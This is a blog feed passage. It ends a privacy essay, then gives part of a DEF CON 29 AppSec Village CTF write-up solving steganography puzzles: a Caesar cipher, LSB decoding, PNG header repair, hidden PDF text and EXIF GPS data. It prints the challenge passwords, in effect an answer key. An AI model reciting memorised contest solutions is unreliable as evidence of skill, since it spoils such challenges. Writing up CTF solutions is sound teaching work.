&lt;p&gt;Then there is, of course, the modern digital private sector and the so-called &lt;em&gt;surveillance-capitalism&lt;/em&gt;. Private actors, such as Facebook and Google famously have &lt;em&gt;a lot&lt;/em&gt; of data on &lt;em&gt;a lot&lt;/em&gt; of people. They get some of it from people registering on their platforms, who often have to consent to these companies&apos; use of their personal data in order to use their services. This is why some critics say &quot;if you&apos;re not paying for the product, you are the product&quot;: A cynical interpretation is that the use (and misuse) of users&apos; personal data is the price they pay to use the products – even though the case is never framed as such for the users.&lt;/p&gt;
&lt;p&gt;Additionally, many of these same actors also track their users, as well as anyone else (in some cases), across other sites on the internet, for instance by having other sites embedding their social media platform&apos;s &quot;share&quot;-buttons or their analytics-solutions, strategic partnerships (such as getting purchase data from credit card companies), and buying data from so-called data brokers – companies that trade private information and personal data with anyone that wants to buy or sell, e.g. for use in so-called real time bidding, to deliver so-called targeted advertisement.&lt;/p&gt;
&lt;p&gt;The obviously problematic cases here include, for instance, the cases of Grindr, OkCupid and Tinder sharing things like location data, sexual orientation, drug history, HIV-status, etc. to to advertising and marketing companies.&lt;/p&gt;
&lt;p&gt;##Standing in the way of progress?&lt;/p&gt;
&lt;p&gt;Privacy is often presented as an impediment of positive outcomes. Too stringent controls around privacy allegedly leads to worse outcomes in the case of healthcare, research and national security. But this need not be the case. In many cases, we don&apos;t even &lt;em&gt;need&lt;/em&gt; personal information to solve a given problem – though we may find it &lt;em&gt;nice to have&lt;/em&gt;, or want to be able to go one step further. And even in cases where we would seemingly have a technical need for personal information to solve an issue, there are plenty of mechanisms, properties and systems that allow us a certain level of guarantee for privacy protection – such as k-anonymity or differential privacy.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A technical sidenote: Privacy does not equal data protection, nor compliance.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the case of architecture and solution design, privacy must be weighed against other needs, much like other non-functional requirements (such as security and performance) – with the caveat that evaluating privacy implications means explicitly considering &lt;em&gt;other people&apos;s&lt;/em&gt; rights and interests up against &lt;em&gt;your&lt;/em&gt; wants, and &lt;em&gt;just how&lt;/em&gt; you might go about attempting to reach your goal.&lt;/p&gt;
&lt;p&gt;And this is some of what &lt;strong&gt;privacy by design&lt;/strong&gt; (a systems engineering approach best practice, as required by the GDPR) entails. Its seven foundational principles are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Proactive not reactive; preventive not remedial&lt;/li&gt;
&lt;li&gt;Privacy as the default setting&lt;/li&gt;
&lt;li&gt;Privacy embedded into design&lt;/li&gt;
&lt;li&gt;Full functionality – positive-sum, not zero-sum&lt;/li&gt;
&lt;li&gt;End-to-end security – full lifecycle protection&lt;/li&gt;
&lt;li&gt;Visibility and transparency – keep it open&lt;/li&gt;
&lt;li&gt;Respect for user privacy – keep it user-centric&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;As to how we can achieve this in practice in the case of software development... Maybe privacy engineers have something to learn from the DevSecOps-movement and the security field in this sense, and become enablers rather than nay-sayers – as in answering &quot;Yes, and here&apos;s how&quot;, rather than &quot;No&quot;, when someone asks whether a certain thing can be done.
Privacy would then need to be represented at every step in the software development lifecycle.&lt;/p&gt;
&lt;p&gt;There is &lt;strong&gt;no doubt&lt;/strong&gt; that we have a need for privacy, i.e. there &lt;em&gt;is&lt;/em&gt; a &quot;lower boundary&quot;, or a &quot;floor&quot;, that defines a minimum amount necessary; We&apos;re now trying to define the &quot;upper boundary&quot;, or a &quot;ceiling&quot;, of what infractions are acceptable and in which cases.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For a little more on privacy engineering, check out &lt;a href=&quot;https://medium.com/better-programming/privacy-and-data-protection-c4f38678c639&quot;&gt;this article&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AppSec Village DEF CON 29 CTF Writeup]]></title><description><![CDATA[This past weekend was DEF CON 29 (my second virtual DEF CON, though it was a hybrid event this year). Knowing that most content both from…]]></description><link>https://eivindarvesen.com/blog/2021/08/10/appsec-village-def-con-29-ctf-writeup</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2021/08/10/appsec-village-def-con-29-ctf-writeup</guid><content:encoded>&lt;p&gt;This past weekend was &lt;a href=&quot;https://defcon.org/html/defcon-29/dc-29-index.html&quot;&gt;DEF CON 29&lt;/a&gt; (my second virtual DEF CON, though it was a hybrid event this year). Knowing that most content both from the main tracks as well as the villages would become available on YouTube, I decided to postpone serious talk-watching for later, in favor of interaction with other virtual con-attendees and switching between random talk-streams in the background for the weekend.&lt;/p&gt;
&lt;p&gt;Since – &lt;a href=&quot;https://www.youtube.com/watch?v=fvpWEzOOaRA&amp;#x26;t=9663s&quot;&gt;unlike last year&lt;/a&gt; – I wouldn&apos;t be presenting, I thought I&apos;d brush up on some CTF&apos;ing in the &lt;a href=&quot;https://appsecvillage.com&quot;&gt;AppSec Village&lt;/a&gt;&apos;s &lt;a href=&quot;https://appsecvillage.ctfd.io&quot;&gt;Capture The Flag&lt;/a&gt; contest (between rage-tweeting about Apple&apos;s upcoming client-side CSAM scanning, and setting up a new home office). Though a bit rusty, I registered alone for a solo-team and managed to get the 9th place (out of 95 contestant teams).&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ccee45bed6b144776e6e07ac033f0cf3/248b0/Scoreboard.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 94.30379746835443%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACDElEQVR42oVUWbKbMBD0LZ5ZJCEwCAHGBvGSenFVUrn/oTozIsIoxOWPBi2j1vQsOqVpCkaSJB77uRACRVF4lGWJqqqQ5/lmu0c4d+JPlmX+AENrvY2NMej6DnVde1LeY1ul1MH2QMg378HereMMGSHN0hVkn2dH24jwX/AFjDTNYMcC01eFb79qLI8LCk2HE7Y5nvOE68Hnwvl83uGD4nOmdYpRRrFK17Ww/+H3E+w5Tk9vUggpMM0z3LLAuSeW5RNupvG25zx4fegHLztwxIQUC2s79H2Ptm0pIb2f287Afd1xcxNMO6IbF/QEe73BkM1BciDkmwpFZUJZlBR4mUsYW+G2dBjcFUrXUKaF4qwTJJWRogyH8/yPksKEutK+XFo3wj7umH//QHOfYN2MZhjRGIuWiLv6glqX/vIohoE5SVhyBjd94vvjJ67LgIFkm/aKujJoqgalIoJcQwrpa5EdkFL+h5DqTBVUrBV1RKFRkJFUAoIkFzQPhxSFQyjpk6eURk7EmsMj8piQb2KZDPF3M8Q2QhrPV3ux2Ud1yBKstb6dXhLuwE4Mw7NkAraksCzuWUbcLcdx+LMD+72Dh0zGL0qo/ncecr3uPYx6mQkvl4uXHJLwjpA9fCk5eNi21j9Vr2TvCbuui9ruQNg0jQ80j98lhom4PV9KZqkcvyD7+JQdnzguGybc9/IfTZ0EJbsMMMUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Competition Scoreboard&quot;
        title=&quot;Competition Scoreboard&quot;
        src=&quot;/static/ccee45bed6b144776e6e07ac033f0cf3/f058b/Scoreboard.png&quot;
        srcset=&quot;/static/ccee45bed6b144776e6e07ac033f0cf3/c26ae/Scoreboard.png 158w,
/static/ccee45bed6b144776e6e07ac033f0cf3/6bdcf/Scoreboard.png 315w,
/static/ccee45bed6b144776e6e07ac033f0cf3/f058b/Scoreboard.png 630w,
/static/ccee45bed6b144776e6e07ac033f0cf3/40601/Scoreboard.png 945w,
/static/ccee45bed6b144776e6e07ac033f0cf3/78612/Scoreboard.png 1260w,
/static/ccee45bed6b144776e6e07ac033f0cf3/248b0/Scoreboard.png 1316w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Below is a write up of the challenges I solved.&lt;/p&gt;
&lt;p&gt;[TOC]&lt;/p&gt;
&lt;h2&gt;Application Security Principles&lt;/h2&gt;
&lt;h3&gt;Questions 1 through 10&lt;/h3&gt;
&lt;p&gt;These were basically free points in the form of two-alternative questions.&lt;/p&gt;
&lt;h2&gt;Cryptography / Steganography&lt;/h2&gt;
&lt;h3&gt;Kitty Rescue Challenge - Part 1&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Goal: Answer the following question: Where is my Kitty? Rules: Cheat whenever possible.

The .zip file contained in this part has all the files for the following parts of this challenge.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I downloaded the zip-file, which contained a text-file and another zip-file.
The text-file read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Her name is Gaia and she is 11 years old. The is almost a fully black fur kitty. A little bit of white fur in her neck. No collar or something.
She does has a boyfriend cat called Caesar. That is the cat from the house next to us. She spend a lot of time with him outside, enjoying the sun and catching birds.

Ytnp, rzzo uzm! Mfe ozye piapne te ez mp pldj. Esp alddhzco ty zcopc ez mprty LSLCUSDPERUC%PUCEUPCSCUUPCSUcUEUVEKZCCUPCU&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;The mention of Caesar (as well as the look of the text) made me suspect this was a simple substitution cipher.
I pasted the text in &lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;CyberChef&lt;/a&gt;, ran it through ROT13, and experimented with the shift amount. At 15, the output read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Nice, good job! But dont expect it to be easy. The password in order to begin AHARJHSETGJR%EJRTJERHRJJERHJrJTJKTZORRJERJ&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Kitty Rescue Challenge - Part 2&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;p&gt;Using the password obtained in the previous challenge, I extracted &lt;code class=&quot;language-text&quot;&gt;1-Start.zip&lt;/code&gt;.
The resulting folder held a README-file, as well as number-prefixed files for the remainder of the &quot;Kitty Rescue&quot;-challenges. &lt;code class=&quot;language-text&quot;&gt;1-Read_Me.txt&lt;/code&gt; read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;SO THERE YOU ARE!!!!
Thank you! It is really bad.....
Everyone should look out for her! Idk what happend to her.
Generally I would assume you know where I am talking about... My cat has been missing :(
All you need will be in this file. She is a smart kitty and left a trail so I could find her if anything happend.
Nothing worked. I tries almost everything.
Often she would go to a different garden but never for this long.
Got all the catnip and food but she is just not here to react to it.
Ready to help me out? It would mean a lot to me!
And don&apos;t worry, she would not bite. She is a real sweetheart.
PANIC!!!! Just kidding &gt;-&gt;
Have fun!
You will definitely learn something!

You will find two pictures of her so you know how she looks!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The file associated with this assignment, &lt;code class=&quot;language-text&quot;&gt;2-Kitty.png&lt;/code&gt; looked like this:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/989010aceaa6944b2b6b09336271b87c/2bef9/2-Kitty.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE90lEQVR42k2U+1OUVRjH37wBe78gCygaDqKpZWZpozTWD840Oo3V6HS1mqZyNLXGUifxhoiBSKzcYWG5Ci3LwsLuogFyWS4i4CaKiKSM2h/y6Xlfxpl+eOa8e85zPs/3+Z6zRxnwXGU86GJmsJXHo0Ge3OpgNtzM7EAjT8c6eHrbz7PxIM8ngsyNtPCvjI+GPPwdKuPxiI+5UT+Ph71M32xgsqsOZSxYzUSwkrmxkCT6mAl7JTxM9dQx3XeNhwNNzA618M+wrMn30/EAzyPXud/tJhIqZ6qvibs3qpjoKKaj7DeUEX8Ft3xFAuyUSj4eDXp5KAqn+j3c6/MQ+auWuz0NTNyo4Y7EaHsxo4FSQq50euoymbju5ra/kCFPDv6iX1HCLaX0Nv3BzJCf6QEvkRvVjHe6GRUbIt3XGG4roqsuC395Op21WXS4zhBwZ9DpPku/J5exziqGWwsZ8RUwJKPSXn4OX1G6LNRxu8MlkyUMeAsIuM7RUnica7lHaK/MoPvPP+jz5jMVbmJaOun1OumoOsP93nrNlolQJSNtArxek017+XmttUFfMaHaHLwlZ6jL/Yn6Kz9r323ubGqd6WSfOsDB/XvY/e4Wtr2+hu0bV/PFBzuozTvB7bY8euszUfqbC2hynuT0gX1UXjpKW8kp6i8fofDc95w69Akf7kxj8/pUVsbbMUVHseSlBSxSFqBbvATDkmhiFi7CYTbww8fbCRQdRQm6MmjMP8Hb61JY47Czc+urpL3xCskJcUQvFsCChbJ5MWZdDMZonYQeY4wRkxo6g8wbtbDqdfy4Lw2lq7GQwfZq2huKeDkxgYXKIgyyMc5mxWo0a8kWg0EABgxR+vmInv+tQs06Exa9CbvJyKrEpSg9zSX0t7poKskiZWWSVDXy1obVkmDBZrRIsgo0oheQCjFGz4emTEBWg1nyzDIaibOaUcoyDrNfjF23aoUoMmmQ1KRlrIiPlySTVkBtMd4iBQzGeWW6eXXqeqzZohVXv+MsAjx+4Eu2bFgjCTpRYiLJ4WD50jgcVruoMqCPNrLcEccKR6womoeZBawqt4uyWIGp0FiTWfZYUO50exnwu3FmHGPHlo0k2O1aG7ooIzFRartmEmNjRYVZU6WCbAaT1uZSATmsNlFmlbDMA8MCGwk10OOrYtO6tSxQlogqaVUvADH8hWcqyCyh2qL6papTQfE2G4l2G8uW2olXgf3NRQRq8gSWiqIo2ia7yaT5pSpRzVd9fHGiduN8qK0m2OwkxcXK6TpErYk0uexKpNvDSKCGw1/vJUUO4+Bnuyn5/QTvbd2ITa/XwGbxzRjzvzuneqe1a2WZ2BFnNrMpNZl652kB9njlJWlk8maz/F+LuekpZqC1guaKHA5/9RFb1iazIXk5SbEW2Sh3Tg7PFKPXVFr1qh0xUjiGgsxjTIf9KAPyHt4MVBO+3kBkuIPISIDutjLGer1MjoZoqs6hznWJbz7fxZuvpbDn/W1s37weq83E2pQkdr2zmSvph0REOYNt5SjTFy8w6cxlMC+TB6VOnpUVM1NRyJN6NzNNbsZyLxDJzSSclU7Xd98yVZHP4NmTuD7dS+jsL/T6y5jsaeROV6M8e7Uo9wqucO9qLuPl+UzmZHH/koBLnDxwlzBZnEfk4nkmL8u8jHP5V5guzZdwMpudxVRZPuFglTy41dzr9zEWdPMfwLZg1heIk9YAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Kitty portrait&quot;
        title=&quot;Kitty portrait&quot;
        src=&quot;/static/989010aceaa6944b2b6b09336271b87c/f058b/2-Kitty.png&quot;
        srcset=&quot;/static/989010aceaa6944b2b6b09336271b87c/c26ae/2-Kitty.png 158w,
/static/989010aceaa6944b2b6b09336271b87c/6bdcf/2-Kitty.png 315w,
/static/989010aceaa6944b2b6b09336271b87c/f058b/2-Kitty.png 630w,
/static/989010aceaa6944b2b6b09336271b87c/40601/2-Kitty.png 945w,
/static/989010aceaa6944b2b6b09336271b87c/2bef9/2-Kitty.png 1024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;As the category was called &quot;Cryptography / Steganography&quot;, I thought there could be some stego going on in this picture. I found an online &lt;a href=&quot;https://stylesuxx.github.io/steganography/&quot;&gt;Least Significant Bit steganography tool&lt;/a&gt; and attempted to decode the image. The output read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[Gaia] Oh No! If you are looking at my picture that means that I am in trouble?! Please continue and go find me. The password is *96*)K3Jz$5*)4(0$%f)5*)4($U0^6*)(J3*3o5*)0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Kitty Rescue Challenge - Part 3&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;p&gt;I used the password from the previous challenge to extract &lt;code class=&quot;language-text&quot;&gt;3-Kitty.zip&lt;/code&gt;. Inside was a file called &lt;code class=&quot;language-text&quot;&gt;Kitty.png&lt;/code&gt; – but there was no image to see when opening it.&lt;/p&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;I opened the image in a hex editor (&lt;a href=&quot;https://hexfiend.com&quot;&gt;Hex Fiend&lt;/a&gt; is a great one for macOS), and noticed that the 116 first bytes were:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;OhNoThisIsNotHowAPNGStarts.PNG        IHDR   .         y-.&amp;lt;    pHYs    ToBeSureIAlsoAddedThisStringToBreakIt      ..&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I changed it to how a PNG is supposed to start:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;.PNG        IHDR   .         y-.&amp;lt;    pHYs          ..&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This made the image visible:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f4fc783d9a6c2a45da735be672693a4b/fe83d/Kitty.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 124.68354430379746%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,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&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Cat in a box&quot;
        title=&quot;Cat in a box&quot;
        src=&quot;/static/f4fc783d9a6c2a45da735be672693a4b/f058b/Kitty.png&quot;
        srcset=&quot;/static/f4fc783d9a6c2a45da735be672693a4b/c26ae/Kitty.png 158w,
/static/f4fc783d9a6c2a45da735be672693a4b/6bdcf/Kitty.png 315w,
/static/f4fc783d9a6c2a45da735be672693a4b/f058b/Kitty.png 630w,
/static/f4fc783d9a6c2a45da735be672693a4b/40601/Kitty.png 945w,
/static/f4fc783d9a6c2a45da735be672693a4b/78612/Kitty.png 1260w,
/static/f4fc783d9a6c2a45da735be672693a4b/fe83d/Kitty.png 2262w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The password is in the bottom of the box, at the bottom of the image: &lt;code class=&quot;language-text&quot;&gt;*KK$3Jz$9$LT3%*0$OU0^J3*3o0^$9^JKT3^$9JD%f&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Kitty Rescue Challenge - Part 4&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;p&gt;I opened the file &lt;code class=&quot;language-text&quot;&gt;4-Letter.pdf&lt;/code&gt; using last challenge&apos;s password.&lt;/p&gt;
&lt;p&gt;The document appeard to read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Hey there!!
Good job you came this far. You should be really proud but I am still lost so please find me. Sometimes things are not as black and white as we think they are. Sometimes we think too complex about a simple solution.
Kind regards, Gaia&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After the text there was a lot of blank space.&lt;/p&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;Playing around in the document, I held down my mouse button at the beginning of the document&apos;s text, dragging all the way to the bottom of the document (the &quot;empty&quot; part) – which revealed that there was some tiny, &quot;invisible&quot; text at the bottom:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e3e77ca8d0db6cdbb1a450779dcbfb15/23296/document.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 141.77215189873417%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAt0lEQVR42u2UPwvDIBDF/f4fKKvgGBOTOYtT4iCZ8odAiK94VGlTMrRx6OCD4/A8fj49kOEp59xPcRbDTZ3BLCz6vkfXdViWBdu2UZ7n+S3WdaV62PPrs8sIbJoGRVGAcw4hBJRSqKoKZVlSllJSra7rWG/bFlprTNMU3cYr+6K1FsYYysdxUEPIV7HvO/V8OByGgU7z172j6HAcR3qbq+l9DUwl9jr+pMDkDjMwAzMwAzPwz3/sB+XCqcfvg3nwAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;PDF with hidden text&quot;
        title=&quot;PDF with hidden text&quot;
        src=&quot;/static/e3e77ca8d0db6cdbb1a450779dcbfb15/f058b/document.png&quot;
        srcset=&quot;/static/e3e77ca8d0db6cdbb1a450779dcbfb15/c26ae/document.png 158w,
/static/e3e77ca8d0db6cdbb1a450779dcbfb15/6bdcf/document.png 315w,
/static/e3e77ca8d0db6cdbb1a450779dcbfb15/f058b/document.png 630w,
/static/e3e77ca8d0db6cdbb1a450779dcbfb15/23296/document.png 675w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I copied the text, and pasting it in a document revealed it read: &lt;code class=&quot;language-text&quot;&gt;39$OUt53oY%0^G39ou395iHuD53uJz3%0z$9$D^9%t&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Kitty Rescue Challenge - Part 5&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;p&gt;I extracted the final file &lt;code class=&quot;language-text&quot;&gt;5-Location.zip&lt;/code&gt;, revealing an image &lt;code class=&quot;language-text&quot;&gt;Location.png&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There was visible hints in the image, so I tried opening it in a hex editor, as well as extracting information from the least significant bits, but I didn&apos;t find anything.&lt;/p&gt;
&lt;p&gt;Looking at the image&apos;s EXIF-metadata (using &lt;a href=&quot;https://exiftool.org/&quot;&gt;ExifTool&lt;/a&gt;), I didn&apos;t find any other interesting information than GPS-location:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;GPS Latitude                    : 59 deg 12&apos; 49.01&quot; N
